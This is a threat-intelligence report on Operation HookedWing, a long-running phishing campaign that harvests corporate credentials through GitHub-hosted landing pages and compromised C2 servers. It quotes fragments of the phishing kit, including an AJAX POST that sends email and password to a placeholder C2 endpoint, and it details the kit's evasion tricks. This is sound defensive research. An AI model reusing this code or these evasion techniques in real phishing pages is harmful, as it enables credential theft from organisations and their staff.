Operation HookedWing: 4-Year Multi-Sector Phishing Campaign

From 2022 to the present, a persistent phishing campaign that has not been publicly documented until now, referred to in this report as Operation HookedWing, has been compromising organizations across multiple sectors and countries. The SOCRadar Threat Research team has identified that the campaign operates a custom phishing kit which, at the time of publication, has not been attributed to any known threat actor.

Executive Summary

The threat actor has been rotating infrastructure for years while maintaining common patterns and shared infrastructure, and the operation’s scale has grown over time. Analysis of logs recovered from compromised infrastructure reveals more than 2,000 credentials belonging to users from over 500 different organizations. The most affected sectors include Aviation, Public Administration, Energy, and Critical Infrastructure, although the impact also extends to Logistics and large Technology companies. The breadth of targeting, combined with the campaign’s longevity, points to a resource-capable operation rather than opportunistic activity.

The modus operandi follows an attack chain that uses phishing emails with lures related to human resources, Microsoft, or Google, directing victims to pages hosted on infrastructure largely based on github.io, but also including evidence of Vercel and similar services. There, an injected form captures entered credentials and exfiltrates them to servers compromised or created by the threat actor. The investigation has identified more than 20 distinct C2 domains and over 100 distribution domains, including both actor-created infrastructure and compromised legitimate company assets where malicious functionality has been added.

Key Points

• The first public documentation of this kit and campaign dates back to 2022, with no prior references found in any open sources consulted.
• More than 4 years of continuous activity, with active infrastructure documented up to the time of publication.
• Over 2,000 victims and more than 500 organizations were identified through analysis of recovered logs.
• Multi-infrastructure and multi-vector approach involving abuse of legitimate hosting platforms, combined with the compromise of real corporate servers.
• Use of github.io along with other platforms for landing pages, combined with dynamically injected PHP to load the form.
• Deliberate targeting of key sectors such as Aviation, Government, Energy, and Critical Infrastructure
• The kit presents consistent fingerprints across all detected variants, enabling correlation of separate campaigns as part of the same operation.

Background & Scope of Operation HookedWing

SOCRadar found the earliest evidence of infrastructure associated with the kit more than four years ago. Throughout this period, the actor has maintained sustained activity, progressively adapting infrastructure without substantially altering the core patterns of the kit. This has enabled correlation and pivoting across different variants as part of a single operation in which multiple campaigns converge.

The evolution of the campaign can be structured around the following patterns:

• Initial Activities (2022 to 2024): The first waves of identified distribution pages correspond to GitHub domains with content mostly in English. Backend infrastructure at this stage points to compromised servers where the characteristic path of the operation is already present, mostly belonging to small and low-profile companies. Lures in this stage focus on Microsoft and Outlook themes as well as PDF viewing, creating a sense of urgency to log in to a platform or access resources such as confidential documents.
• Expansion and Diversification (2024 to 2025): The threat actor begins incorporating more variants in French, suggesting deliberate geographic expansion toward francophone markets. The actor continues using GitHub and maintaining previous themes while adding human resources-related elements to align with phishing emails. The C2 infrastructure expands with new compromised servers progressively added.
• Active Phase (from 2025 onwards): The campaign remains active up to the publication date of the research. This stage shows the highest volume of simultaneously active infrastructure and the greatest diversity of lures. The actor further professionalizes and obfuscates GitHub domain naming, incorporates additional themes, and deploys landing pages based on other technologies such as Vercel or on fleek. Logs recovered in this phase contain the largest volume of captured credentials.

Volumetry

Pivoting on phishing kit indicators has revealed large-scale infrastructure over time. The following data represents the cumulative total identified throughout the campaign:

Depending on the C2 configuration, which in some cases has been a legitimate domain and in others has been created specifically for the campaign, it has been possible to extract logs from different campaigns to recover the presented data. However, in most cases, logs were not accessible, or the adversary had already rotated the infrastructure.

Target Sectors

Analysis of recovered logs and identified infrastructure reveals a targeting pattern that is not random, as it focuses on infrastructure of high geopolitical relevance. The most represented sectors among affected organizations are:

Primary Targets

Highest number of victims and most frequent targets:

• Aviation

• Public Administration
• Government
• Energy
• Critical Infrastructure

Secondary Targets

Significant, but a smaller presence:

• Logistics & Transportation
• Manufacturing
• Technology

The concentration on high-value strategic sectors, together with the duration of the campaign, reinforces the hypothesis that targeting is not strictly opportunistic. Victim selection suggests a particular interest in environments with access to sensitive information, critical operations, or high-privilege credentials that can be sold or used by other adversaries.

Modus Operandi

Although the adversary has modified its infrastructure over time, the techniques remain highly consistent, preserving assets and replicated code across most campaigns.

Operation HookedWing follows an execution chain structured into four clearly differentiated phases. While individual campaigns may vary in some aspects, the core remains largely static, aiming to leverage legitimate infrastructure and reduce victim suspicion from the earliest stages.

1. Phishing Email

The first phase of the threat actor’s modus operandi is based on the use of phishing emails designed with a specific intent. Unlike more elaborate campaigns that invest in precise visual replicas of corporate communications, Operation HookedWing emails adopt a simpler structure aimed at conveying authority and urgency without raising suspicion due to excessive sophistication.

Analysis of the EML files shows different lure vectors that vary depending on the victim and the campaign. The most common ones impersonate a human resources representative or a colleague from the victim’s own organization, requesting urgent attention to an attached or linked document. Some simulate notifications of access to a protected file on a platform, leveraging the victim’s familiarity with common corporate workflows. There are also replicas of Google Drive or Google Docs alerts related to shared documents, such as images or files.

As can be observed in one of the extracted emails, the tone used across the different examples is consistent:

The signature in this case impersonates a human resources role within the victim organization. The email also includes a scanner footer, commonly seen in this type of phishing through MailScanner, which attempts to add credibility to the message.

The link included in the body of the email typically follows a consistent pattern across all analyzed variants. The full email address of the victim is passed directly as a URL fragment after the # symbol:

https://[Repo].github.io/[Path]/#[User]@[VictimDomain]

In many cases, the links point directly to GitHub and reuse the same domains, indicating infrastructure reuse from the earliest stages of the operation.

EMLs related to the C2s described above can be found on the SOCRadar Platform.

The tactic of sending information through the URL fragment has a relevant technical implication. The fragment is not sent to the server during the HTTP request, meaning the victim’s email address is never logged in GitHub access logs. The kit retrieves it exclusively on the client side, complicating passive correlation between the victim and the intermediary domain.

In some identified cases, the email link does not point directly to github.io but instead to an intermediary hosted on another platform (such as Netlify or on-fleek.app), which redirects to the final distribution page or directly hosts the assets itself. This adds another layer that complicates pivoting to the origin.

2. Landing Page

Once the victim falls for the phishing email and accesses the link, they are presented with the loading of a static page, typically hosted on GitHub as mentioned earlier. The initial visible content is a loading animation that simulates Microsoft Outlook behavior. This effect is achieved by a full-screen preloader built with CSS and an animated SVG, designed to occupy the entire browser window during the first seconds of loading.

The content observed across hundreds of domains is nearly identical, with the preloader appearing consistently:

[...]
.preloader_container_stef {
  height: 100vh;
  width: 100vw;
  display: flex;
  justify-content: center;
  align-items: center;
}
[...]

The identifier preloader_container_stef is one of the most consistent elements and appears across almost all analyzed distribution pages. The string stef acts as a namespace for the actor throughout the kit’s code, also appearing in the global variable window.stef.srv_loc, which stores the C2 path used to connect to the PHP backend and occasionally stores collected data. This value is repeatedly encoded in base64 and, in most cases, uses the path /genl/, although other variants and PHP filenames have been observed over time.

The request sends the victim organization’s domain to the C2 and receives the organization name in JSON format, which is then used to personalize the text displayed in the preloader before the full form loads:

{"data": "<p id='child_preloader'>[PortalName]</p>"}

This introduces an important behavioral element. If the victim watches the loading screen, seeing their own organization name or something related to the previous email reinforces the credibility of the environment before the form appears.

While the preloader occupies the screen, the kit executes in the background the core logic of the initial interaction with the C2. The first step is extracting the victim’s email from the URL hash using fragmented parsing functions designed to hinder analysis:

[...]
const winHref = window.location.href.split("?")[0];
const getInd__ = (str, search) => str.indexOf(search);
const getSlice__ = (str, index) => str.substr(index);

const getURLEm = () => {
  if (getInd__(winHref, "#") === -1) return false;
  if (getInd__(winHref, "@") === -1) return false;
  return getSlice__(winHref, getInd__(winHref, "#") + 1);
};
[...]

The kit validates that the URL contains both the # and @ symbols before continuing. If either is missing, execution stops and an error is logged in the console. This validation acts as an access control mechanism. A URL accessed directly without the embedded email will not execute the form, reducing exposure to automated analysis or direct visits, effectively turning the landing page into an empty portal unless the form is properly triggered.

Regarding interaction with the C2, it is not hardcoded or present in the HTML. Instead, it is loaded from a JavaScript file commonly named srv.js, although it has had different names over time. This script exposes the value through the variable window.stef.srv_loc mentioned earlier. This separation allows the actor to update the C2 centrally without modifying the rest of the distribution code.

After decoding the base64 path and combining it with the domain, the kit constructs the full route where campaign-related files are typically hosted. If all checks are passed, it loads the PHP endpoint that follows a common pattern and stores the collected information in a text file:

https://[AffectedDomain]/genl/[RandomName].php

If this first filter is passed and the user and redirection are confirmed as valid, the PHP form is automatically injected.

3. Form Injection

At this stage, the PHP injection takes place and enables the collection of the fields required for the victim to input their information. In the second C2 request, following the same pattern as before, the server returns the full credential harvesting form.

In this case, using a random and changing filename under the same path, as “/genl/hfhfjmreneeeneneme.php”, the form replaces the entire body content of the page through dynamic injection. This ensures the form does not reside on the GitHub page itself, acting as an evasion technique and complicating traceability. If the assets are analyzed, only an HTML file with a legitimate-looking preloader is found, with no credentials or form-related content present at any point.

Additionally, during this process, the kit retrieves relevant geolocation data about the victim through a request to the public API “ipdata.co”, using a hardcoded API token similar to how paths are handled.

The injected form resembles an authentication portal where the email field appears pre-filled with the victim’s address and is disabled for editing. This eliminates input errors and reinforces the perception that the system has already identified the user, increasing the professionalism of the phishing attempt. This personalization does not require any prior database, as the kit simply extracts the email from the URL and injects it into the form.

The form also includes additional social engineering elements, such as a message displayed in red before the victim has entered any data.

This fake error message serves a specific purpose within the kit logic. It is designed to make the victim believe their first login attempt has failed, increasing the likelihood that they will enter their credentials a second time. The hidden field auth_status_ tracks the state of this cycle.

The form also includes a checkbox labeled “Secured Session?” checked by default, with no real functionality. Its only purpose is to provide a visual signal of security at the moment of highest vulnerability for the user.

Embedded within hidden fields are all previously collected victim metadata, containing sensitive user information.

The form collects the values that are later reflected in the exfiltrated text file, whose fields are as follows:

User
	em-field  
	em-field2

Pasword
	pwd-field

URL
	UrlEm = Victim Email
	UrlDom = Victim Domain

IP/Geo
	pidt-field = IP
	ocdt-field = Country
	icdt-field = City
	oldt-field = Latitude
	aldt-field = Altitude

4. Credential Capture

After the previous phase, the victim only needs to click “Sign in” for the form to submit a POST request to the C2 PHP endpoint, including both the visible credentials and all hidden fields. The actor receives, in a single record, the email, password, IP address, full geolocation, source URL, and the victim organization domain, as previously described.

The forced retry mechanism introduced by the earlier fake error results in a significant portion of the records in C2 logs containing two versions of the same victim’s credentials, one from the first attempt and another from the second. This is particularly relevant in cases where the victim, upon seeing the error, assumes a typo and re-enters their credentials more carefully, providing a more reliable version to the actor.

These records are then stored on the C2 in a file typically named “list.txt”, accessible from the actor’s panel and, depending on server configuration, sometimes exposed via directory listing. Each entry captures the full victim profile at the moment of compromise, including credentials, geolocation, organizational context, and phishing session traceability through the full originating URL.

Following exfiltration, the actor has sufficient information not only to access compromised accounts but also to contextualize each victim within their organization and geography, facilitating follow-on access operations or segmented resale of credentials.

Campaign Infrastructure

The infrastructure behind Operation HookedWing operates in two distinct layers. The first is the distribution layer, composed of pages hosted on legitimate static hosting platforms, most commonly based on github.io. The second is the backend layer, consisting of C2 servers that receive exfiltrated credentials. Both layers exhibit consistent construction patterns that enabled pivoting throughout the SOCRadar investigation.

First Layer

The first layer corresponds to distribution and is where the victim lands after clicking the phishing link. Its function is to host the landing page described earlier and act as an intermediary between the lure and the C2. The adversary relies on widely known legitimate hosting platforms, providing two operational advantages: domain reputation, which reduces the likelihood of being blocked by security filters, and the absence of infrastructure costs for this layer.

The primary approach is heavily based on GitHub, where over the past four years, more than 100 distinct domains associated with the same operation have been identified. The accounts and repositories used do not follow strictly identical naming conventions, but they do show recurring elements reflecting the lures employed.

Terms such as microsoft, office365, pdf, document, file, mail, excel, google or drive frequently appear in subdomain names, typically in English, although some French variants have also been observed:

excel-file-document-2024.github.io
onedrive1-preview.github.io
archived-document-file-2026.github.io
[...]

There is also clear reuse and patterning in domain paths, such as including the campaign year 2024, 2025, or 2026, suggesting periodic rotation of distribution infrastructure aligned with phishing waves. French subdomains such as restriction-de-compte-serveur-2025.github.io, confirm geographic expansion toward these markets, including African countries where French is an official language or a second language.

The most commonly used paths within these repositories are not entirely random. Frequently observed examples include /new/, /confirmation/, /login/, /email-login/, /document/, /File-PDF/ and variants incorporating years. These paths form part of the kit fingerprint and were used for pivoting during the research.

Similarly, the adversary consistently uses patterns in PHP filenames and in the HTML and JavaScript content that stores the C2 location, which is a key element for identifying adjacent infrastructure.

The actor has not relied exclusively on GitHub. Some variants use alternative hosting platforms as secondary distribution vectors, including Vercel and on fleek.app. The kit behavior on these platforms is functionally identical to that observed on GitHub, with minor differences in landing page appearance that are detailed in other campaign sections. The logic for extracting the email from the URL hash, calling the C2 through window.stef.srv_loc, and dynamically injecting the form remains unchanged across all variants.

Additionally, the actor has consistently reused the same or very similar page titles for landing pages, with minimal variation over time, further supporting domain pivoting efforts:

As part of pivoting, searches on GitHub using identified assets and recurring patterns across campaigns revealed multiple repositories whose files and structure are identical to those previously described.

The same files are repeatedly observed across campaigns, with identical landing pages and communication structure. A key pattern lies in how these repositories are structured, as it directly influences the URL format seen in GitHub-based phishing links:

Github UserName = Subdomain
Repository = Path

Second Layer

The second layer is the backend, which represents the critical part of the infrastructure during the operation. It is responsible for hosting the responsive PHP files and storing victim records in text format. Through pivoting, more than 22 distinct domains have been identified within this layer, which can be classified into two categories based on their nature and origin.

Compromised Infrastructure

Most identified C2 servers correspond to legitimate company or institutional servers that have been compromised, where the malicious directory for each campaign has been added. The pattern is consistent: the threat actor gains access to the server, creates a path (usually /genl/, although variants such as /hl/ or /zm/ have also been observed), and places the kit PHP files along with the list.txt file where victim logs are stored.

The adversary has targeted a wide range of companies, including technology firms, service providers, and smaller online portals. Out of consideration for the affected organizations, they are not named in this report; most belong to smaller-scale entities across different countries:

• Pakistan
• Brazil
• Chile
• Senegal
• Afghanistan

Shared hosting servers have also been identified, such as HostGator instances in Chile and Brazil, which host multiple domains. This suggests potential compromise of accounts that provide access to shared infrastructure. In fact, credentials from companies that have been used for C2 can be found exposed and sold on the black market.

Infrastructure Created

A portion of the identified C2 servers corresponds to domains likely registered directly by the adversary. These can be distinguished by the absence of legitimate prior content and by domain names that attempt to blend in using generic technical or corporate terms. These domains typically have short lifespans and are registered with certificates often valid for around three months.

In some cases, domain names mimic legitimate companies or services such as Newmax or DocuSign, which may indicate an intent to appear legitimate and to mimic domains used by the victims, or to resemble domains of online companies, a tactic that aligns with the document-based lures used in the campaign.

However, in some cases, domains have been found that are very similar or appear to be abandoned by the companies that created them, serving the campaign’s purposes and not fully belonging to either group, since they may correspond to companies that were once real, but similar domains have been created, or they take advantage of some that are no longer in use by those companies, bearing in mind that the target is usually small businesses with limited technological capabilities.

Patterns and Reuse

One of the most relevant findings from an infrastructure analysis perspective is the level of reuse observed across different campaign waves. The actor does not build new infrastructure for each wave but instead maintains C2 servers active over long periods while rotating distribution pages more frequently. This asymmetry between backend stability and frontend rotation suggests that access to compromised servers is the most valuable asset of the operation. The actor invests in maintaining this access over time, reusing it across multiple campaigns with variations in execution but relying on the same domains.

The kit’s fingerprint, comprising all identified instances, has been the primary vector for pivoting during this research. The combination of the /genl/ path, PHP filenames containing pseudo-random characters, the list.txt file, and variables such as window.stef.srv_loc, as well as the assets, has made it possible to link seemingly unrelated infrastructure as part of the same operation.

Other Campaigns & Cross-Referencing

Systematic pivoting on the main campaign infrastructure not only allowed the SOCRadar team to expand the map of C2 servers and historical distribution pages but also revealed additional campaigns operating simultaneously and sharing infrastructure and technical patterns with Operation HookedWing to varying degrees.

One of the most significant findings is that a single compromised C2 server can serve multiple distinct campaigns in parallel. This suggests that compromised infrastructure may be shared among different operators using variants of the same kit or related kits. As a result, additional campaigns have been identified that may represent either variants of the same operation or the reuse of infrastructure by different actors launching similar phishing campaigns.

A total of four variants have been identified, referred to as Campaign 1, Campaign 1.5, Campaign 2, and Campaign 3, based on their level of technical similarity and distinguishing elements.

Campaign 1.5

This version operates almost identically to the primary campaign described earlier. It shares the same attack flow, the same backend PHP files with variations only in naming, the same dynamic form injection logic, the same srv.js structure, and identical code fingerprints, including the stef namespace, the preloader_container_stef identifier, and the /genl/ path structure. The most noticeable difference lies in the landing page, which in this variant replaces the Microsoft Outlook simulation with the appearance of a parcel delivery company or another corporate service, while maintaining a very similar underlying HTML structure.

This variant has been classified as 1.5 rather than a fully separate campaign because the differences are primarily visual rather than technical. The actor, or another operator with access to the same kit, has modified the visible branding by making minor adjustments without changing the core mechanics of the operation.

Campaign 2

The second campaign introduces more significant technical differences, although it still maintains clear correlation elements with the primary campaign. Unlike the first, which separates distribution logic from the backend through dynamic injection, the second implements all logic directly within the HTML of the distribution page using jQuery, performing exfiltration through a direct AJAX call to the backend PHP.

The attack flow follows the same entry pattern using the URL hash, but the implementation differs in several aspects:

var email = window.location.hash.substr(1)

var base64regex = /^([0-9a-zA-Z+/]{4})*(([0-9a-zA-Z+/]{2}==)|([0-9a-zA-Z+/]{3}=))?$/
if (base64regex.test(email)) {
  var my_email = email
} else {
  var my_email = atob(email)
}

In most observed cases, both the first and second campaigns coexist, with previously identified assets present, sharing the same appearance, fingerprint, and mentioned JavaScript components.

Additionally, several sub-variants have been identified that differ mainly in the level of visual customization of the page and the C2 used. The most advanced variant generates a real screenshot of the victim organization’s domain using the thum.io API and uses it as the page background, creating a more visually convincing environment than any other variant identified in this research. A second sub-variant uses the Google Favicon API to personalize only the logo, a simpler but still effective approach to convey legitimacy.

Exfiltration is performed through a direct POST request to the backend PHP, with endpoints that differ from those used in the first campaign.

$.ajax({
  url: 'https://[C2]/New.php',
  type: 'POST',
  data: { email: email, password: password }
});

The forced retry mechanism is also present in this version, implemented through a counter. The most advanced sub variant allows up to three attempts before redirecting, while the second limits attempts to two, consistent with the behavior of the first campaign:

count = count + 1
if (count >= 3) {
  window.location.replace("https://onedrive.live.com/redir...")
}

The final redirection destination is another relevant element. The most advanced sub variant redirects to a legitimate OneDrive URL, closing the deception cycle in a particularly convincing way by leading the victim to Microsoft infrastructure. The second sub-variant redirects to the root domain of the victim organization, the same behavior observed in the first campaign.

Campaign 3

The third campaign is, without doubt, the most technically distinct among the four due to its simplicity. It completely abandons the dynamic injection architecture and the separation between distribution and backend, opting instead for a static HTML clone of a Microsoft authentication portal, with significantly higher visual fidelity than previous variants.

The form points directly to the backend PHP through a conventional action attribute, with a long obfuscated token in the query string acting as a basic anti-detection mechanism.

<form method="POST" action="login.php?[token]">

The replicated authentication elements may correspond to Microsoft Azure Active Directory, Adobe, or other company interfaces, including classes and identifiers from real portals (loginHeader, idSIButton9, and ConvergedSignIn structure). In some cases, it loads CSS resources directly from aadcdn.msauth.net, increasing the visual fidelity of the clone while generating traffic toward legitimate Microsoft infrastructure.

In this variant, there is no separation between distribution and C2. The same compromised domain hosts both the HTML and the credential capture PHP under paths such as /login.php, /bss/ o /excel[Year]/. The most relevant finding from a correlation perspective is that some domains identified as C2 in the first campaign simultaneously serve content from the third campaign under different paths on the same server.

Correlation Between Campaigns

The coexistence of multiple kits on the same compromised infrastructure is the strongest correlation element among the four variants. A single server may simultaneously present:

• /genl/ using the PHP files from the first campaign
• /inde-s.php or /result.php from the second campaign
• /login.php from the third campaign

This infrastructure reuse is not temporary. It indicates that the actor or actors behind these campaigns share access to the same compromised servers, either because a single operator manages multiple kits in parallel or because both the kit and the infrastructure are distributed or sold together to different operators who introduce modifications.

The hypothesis most consistent with the observed data is the existence of a central builder or kit distributed privately together with access to either pre-established or already compromised C2 infrastructure, used by different operators who customize branding and slightly adapt the technical implementation according to their needs. This hypothesis explains both the consistency of technical fingerprints across variants and the differences in visual appearance and certain implementation details.

Clear examples can be observed where different domains hosted on github.io use similar assets, where srv.js points to the same C2, but in some cases serve different landing pages, demonstrating C2 reuse.

There are other examples where the github.io site is no longer active, but the assets, which correspond to the first campaign, can still be found. The directories retain the same structure, but there have been changes to the associated PHP files.

Similarly, in other cases, the same C2 domains have been used to serve known asset structures within the github.io framework, where srv.js points to a domain that has been used for the third campaign, serving forms that replicate Microsoft login portals or similar services, allowing a single C2 to support different phishing methods.

The comparison between observed campaigns in terms of modus operandi and techniques used is as follows:

Evasion Techniques & Key Methodologies

The longevity of Operation HookedWing is not accidental. The kit incorporates a set of techniques that, when combined, have allowed the campaign to remain active for more than four years with minimal public exposure.

• Persistence of the landing page: When a specific phishing wave ends, the associated GitHub Pages site can remain active indefinitely without presenting any detectable threat. Since it contains no forms, credentials, or direct references to the C2 in its static code, it does not trigger alerts in automated scanners or manual reviews. An apparently inactive GitHub repository can be reactivated at any time simply by updating srv.js with a new C2, increasing infrastructure reusability.
• Separation between distribution and payload: The credential harvesting form never resides in the distribution layer. Static inspection of any associated GitHub Pages repository reveals no actionable malicious content. The entire payload is served dynamically from the C2 at runtime through direct DOM injection using javascriptgetEl__(“#docBody”).innerHTML = resData.data; This technique makes it difficult for automated scanners or crawlers indexing static content to detect the malicious form, as it only exists in the victim’s browser during an active session.
• Email in URL fragment and access control: The victim’s email address is sent in the URL fragment after the # symbol, which is not transmitted by the browser in the HTTP request. This has two implications: the victim is not logged in GitHub access logs, and the kit implements validation that halts execution if the URL does not contain both # and @, acting as an access control mechanism that prevents execution during direct visits or automated analysis without the correct parameter.
• Extraction and reuse of victim email and domain: The kit extracts both the victim’s full email address (UrlEm) and their organization’s domain (UrlDom) from the URL to dynamically customize the form. The email appears pre-filled and disabled in the input field, and the organization’s name is displayed in the preloader and in the form title. This personalization does not require any prior database; all information is derived directly from the URL constructed by the attacker at the time of submission.
• Flow control as anti-analysis and login simulation: The kit implements a mechanism to retrieve the attempt counter directly from the URL using the getSC function. This reads query string parameters to determine the authentication state, allowing simulation of a real login portal with distinct states. From an analysis perspective, this pattern makes it difficult to reproduce full kit behavior without replicating the correct URL state.
• Pre-form geolocation: Before the victim interacts with any visible elements, the kit queries the ipdata.co API to obtain the IP address, country, city, and geographic coordinates. This data is embedded in hidden form fields, so that each record sent to the C2 server includes a complete geographic profile of the victim without the victim having actively entered any data.
• Social engineering in the form: The form combines several elements of psychological manipulation designed to maximize the credential submission rate. The fake error message “Account does not exist. Email is invalid” is displayed before any interaction, leading the victim to believe that their first attempt has failed and increasing the likelihood of a second attempt.
• Reuse of captured credentials for new campaigns: The credentials and metadata accumulated in the C2’s list.txt file represent not only the final result of the operation but also raw material for future campaigns. The actor has verified corporate email addresses, organized by industry and organizational domain, which they can reuse to create significantly more personalized and credible phishing lures in subsequent waves, closing a cycle in which each successful campaign fuels the next.
• C2 hosted on compromised legitimate infrastructure: Using real company servers as C2 provides inherited domain reputation, reducing the likelihood of being blocked by reputation-based security filters. Domains with years of legitimate activity and valid SSL certificates generate significantly fewer alerts than newly registered domains with random naming.

Victimology

After understanding how the different campaigns operate, it is important to assess their impact over time. Analysis of logs recovered from Operation HookedWing C2 infrastructure reveals more than 2,500 unique victims across over 500 organizations. These figures represent only the entries available in accessible .txt files during the investigation and should be considered a lower bound of the campaign’s true impact.

Geographic Distribution

The geographic distribution of victims shows significant concentration in Sub-Saharan Africa and South Asia, with Nigeria, Nepal, Uganda, Sri Lanka, and Senegal leading in the number of affected users. The top 10 countries by victim volume are as follows:

The geographical concentration is not random. The pattern aligns with the air connectivity hubs of the corridors linking West and East Africa with the Persian Gulf, South Asia, and Southeast Asia. This correlation between the victims’ locations and strategic air routes is one of the most important elements in understanding the actor’s profile and their actual objectives, as will be discussed later

Industry Distribution

The aviation and travel sector accounts for the highest proportion of victims at approximately 28%, followed by Government and Public Administration at 16%, and Energy and Oil at 12%. The full sector distribution is as follows:

The combined share of the three primary sectors, Aviation, Government, and Energy, exceeds 55% of total victims, ruling out opportunistic targeting and pointing to deliberate selection aimed at accessing sensitive operational information.

Targeting Profile: Strategic Air Corridors

An analysis of the organizations targeted within the Aviation sector reveals a pattern that is not driven by the availability of victims but rather by intelligence regarding specific air corridors. The organizations identified in the logs systematically include operational entities along the routes connecting Africa, the Persian Gulf, South Asia, and Southeast Asia:

• East and Central Africa: National airlines and civil aviation authorities from multiple countries in the region, with a presence in the continent’s major hubs
• West Africa: Civil aviation authorities and regional operators from various French and English-speaking countries
• Persian Gulf: Leading operators and airport handling and services companies in the region, including some of the world’s largest aviation groups
• South Asia and Southeast Asia: National and international airlines from various countries in the region, as well as the relevant civil aviation authorities
• Europe: Low-cost and network airlines from various European countries

The coverage is selective rather than exhaustive. The actor prioritizes organizations with access to operational information on specific corridors rather than maximizing the number of victims in each region.

The most significant element within the sector is not the airlines themselves but the supporting operational infrastructure organizations. Logs show victims in global ground handling companies, catering providers, airport operations, financial and revenue management software providers for airlines, and flight planning and navigation services. Compromised credentials from these organizations potentially provide access not only to corporate email accounts but also to operational systems containing data on aircraft movements, cargo manifests, passenger lists, and route planning.

Compromised credentials from these organizations not only grant access to corporate email. They may provide access to Aviation operational systems containing real-time aircraft movement data, cargo manifests, passenger lists, and route planning information.

The Aviation and Government combination

The combination of victims in Aviation and Government entities reinforces the hypothesis of an actor interested in intelligence on human movement. Government entities identified in logs include Ministries of Foreign Affairs, Ministries of Defense, Civil Aviation Authorities, and Judicial and Law Enforcement bodies across multiple countries.

The combination of these access types is operationally significant. A threat actor with credentials across Foreign Affairs Ministries, Civil Aviation Authorities, and Handling Operators could gain insight into who is traveling, where they are going, under what documentation, and under what conditions, including diplomatic or law enforcement escort. This level of intelligence on human movement carries value beyond financial gain from credential resale and has strategic implications.

Victim profile at the individual level

Individual records recovered from logs include not only credentials but also metadata that provides context for each victim. Analyzed examples show victims accessing from Android mobile devices in African countries as well as from Windows environments in the United States and Europe, indicating that the kit targets both office-based employees and personnel in transit.

Each structured log entry includes corporate email, password, country, and city of access, geographic coordinates, client IP address, and browser user agent, providing the actor with a complete profile of each victim at the time of compromise.

MITRE ATT&CK® Framework TTPs

Indicators of Compromise (IoCs)

You can find the rest of the indicators associated with this campaign on the SOCRadar Platform.